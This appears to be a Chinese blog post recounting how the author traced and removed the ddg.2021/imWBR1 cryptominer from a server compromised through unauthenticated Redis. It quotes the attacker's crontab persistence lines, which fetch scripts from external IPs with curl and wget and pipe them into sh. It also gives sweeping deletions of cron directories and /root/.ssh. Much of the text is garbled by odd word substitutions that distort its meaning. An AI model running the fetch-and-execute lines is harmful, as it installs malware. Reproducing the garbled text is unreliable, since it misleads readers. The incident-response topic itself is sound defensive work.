背景
查看服务器资源的时候发现服务器的 CPUC 曾经 100%，而且是始终是这样，
最近三天的 CPU 使用率直方图
以后一个小时的直方图
18：15：00 笔挺降落的是我在解决后 CPU 的使用率状况
找到它在哪里
先看 top 过程应用状况
# top
top - 18:10:50 up 196 days, 18:59, 2 users, load average: 4.47, 4.21, 4.11
Tasks: 163 total, 1 running, 162 sleeping, 0 stopped, 0 zombie
%Cpu(s): 0.0 us, 1.6 sy, 98.4 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 16267972 total, 185160 free, 14179644 used, 1903168 buff/cache
KiB Swap: 0 total, 0 free, 0 used. 1689432 avail Mem
Which user (blank for all)
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
16634 root 20 0 541132 50260 0 S 400.0 0.3 78595:40 imWBR1
1 root 20 0 43296 2364 1112 S 0.0 0.0 52:21.51 systemd
依据 CPU 使用率排序，能够看到排行第一 imWBR1 的 CPU 使用率是 400%，它的过程 id 是 16634
依据它的过程查看命令状况
# ps 16634
PID TTY STAT TIME COMMAND
16634 ? Ssl 78597:57 /tmp/imWBR1
能够看到它是从 /tmp/imWBR1 运行的
那么咱们查看该目录下的执行文件
ls /tmp/
Aegis-<Guid(5A2C30A2-A87D-490A-9281-6765EDAD7CBA)>
ddg.2021
hsperfdata_root
mysql.sock
php-cgi.sock
sess_08bs7nf1rl24pem9ve5fbeg5a6
能够看到 ddg.2021 是绿色的，那么能够必定它就是该程序的启动命令或者是守护程序
当我 kill 16634 后 它之后仍然会呈现在过程中，显然他是杀不死的，因而寻找命令有
ddg.2021 会发现它也有一个本人的过程始终在跑
top 之后看下图
#top
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
16634 root 20 0 541132 50260 0 S 399.3 0.3 78613:31 imWBR1
3195 root 20 0 8030128 1.647g 0 S 0.3 10.6 47:12.17 java
10111 root 20 0 1565408 71356 888 S 0.3 0.4 951:29.45 ddg.2021
看到 ddg.2021 的过程 id 是 10111
那么先删除命令脚本，在杀死过程
rm -f /tmp/ddg.2021
kill -9 10111
kill -9 16634
杀不死的小强
是不这样就能够了呢，很惋惜，我认为这样就能够了，然而它并没有啊，请看上面的图
显然它在 15 分钟后开始自启动了，接着大略在 18：37 分钟的时候它又开始工作了，从新开启 399.7%CPU
过程状况如下
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
2791 root 20 0 541148 44416 1000 S 399.7 0.3 40:45.54 imWBR1
2607 root 20 0 310392 9268 5776 S 0.3 0.1 0:01.14 ddg.2021
4292 root 20 0 27768 1584 516 S 0.3 0.0 26:33.63 redis-server
7110 root 20 0 251348 16712 3072 S 0.3 0.1 181:11.61 AliYunDun
而 /tmp 目录中又呈现了 ddg.2021，而且还多了 imWBR1
ls /tmp/
ddg.2021
hsperfdata_root
imWBR1
再次删除并杀掉过程
rm -f /tmp/ddg.2021 /tmp/imWBR1
kill -9 2791
kill -9 2607
最终版本：找到它的定时工作并删除执行脚本和 SSH 的公钥
能够必定的是一点会有一个定时工作在不停的检测是否程序被杀死了，如果杀死了并且可执行文件也被删除了那么它就会主动下载源程序并且启动执行脚本。
依据参考文档我去 /var/spool/cron 这个文件夹看了下，事实就是如此，那么咱们来看看它的定时工作内容
cat /var/spool/cron/crontabs/root
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
- 能够看出它有两个定时工作
删除 /var/spool/cron 下的内容rm -fr /var/spool/cron/
2. 删除 ssh 受权的公钥配置信息
rm -fr /root/.ssh/*
3. 删除执行脚本和程序
在执行下面类似的办法
ps -aux|grep ddg
3458 /tmp/ddg.2021
kill -9 3458
ps -aux|grep imWBR1
3649 /tmp/imWBR1
kill -9 3649
rm -f /tmp/ddg.2021 /tmp/imWBR1
4. 清空 /etc/crontab 中的定时工作
接着找定时工作，我在 /etc/crontab 找到一个，看 ip 就感觉有问题
cat /etc/crontab
REDIS0006▒cccccc@O
*/1 * * * * /usr/bin/curl -fsSLk 'http://104.161.63.57/install.curl' | sh
清空该定时工作
echo '' > /etc/crontab
依据定时工作查看这些脚本文件的内容
从他们提供的 ip 中咱们能够看到如下信息
两台服务器的地址都在国外：
第一个 IP：218.248.40.228 印度
第二个 IP：104.161.63.57 美国
第一个 ip 的 8080 端口开启了应用的是 Apache Tomcat 6.0
第二个 IP 的 80 端口模拟 Apache 的页面
两个脚本，第一个 ip 的脚步内容是下载挖矿程序并开启定时工作
第二个脚本则比拟厉害了，间接敞开防火墙，并且把近程把近程的 SSH 公钥增加到 author-key 中了，这样你的机器根本就是裸机了
为什么会呈现下面的状况，阿里云给出的起因如下
https://help.aliyun.com/knowledge_detail/37447.html
Redis 因配置不当存在未受权拜访破绽，能够被攻击者歹意利用。
在特定条件下，如果 Redis 以 root 身份运行，黑客能够给 root 账号写入 SSH 公钥文件，间接通过 SSH 登录受益服务器，从而获取服务器权限和数据。一旦入侵胜利，攻击者可间接增加账号用于 SSH 近程登录管制服务器，给用户的 Redis 运行环境以及 Linux 主机带来平安危险，如删除、泄露或加密重要数据，引发勒索事件等。
受影响范畴
在 Redis 客户端，尝试无账号登录 Redis：
root@kali:~# redis-cli -h 10.16.10.2
redis 10.16.10.2:6379=keys *
从登录后果能够看出，该 Redis 服务对公网凋谢，且未启用认证。
二. 修复计划
请查看我的另一篇文章：Redis 配置不当以致 root 被提权破绽
http://blog.csdn.net/zjcjava/article/details/78558392
我只能说还好他人没有把你的系统资源给删除了，不然就哭去吧，说到这么多，公网的平安工作肯定要做好，触目惊心啊
参考资料
革除 wnTKYg 这个挖矿工木马的过程讲述
http://blog.sina.com.cn/s/blog_c08907b10102wyyl.html
Centos7 被攻打做成 YAM 挖矿肉鸡
https://bbs.aliyun.com/simple/t285728.html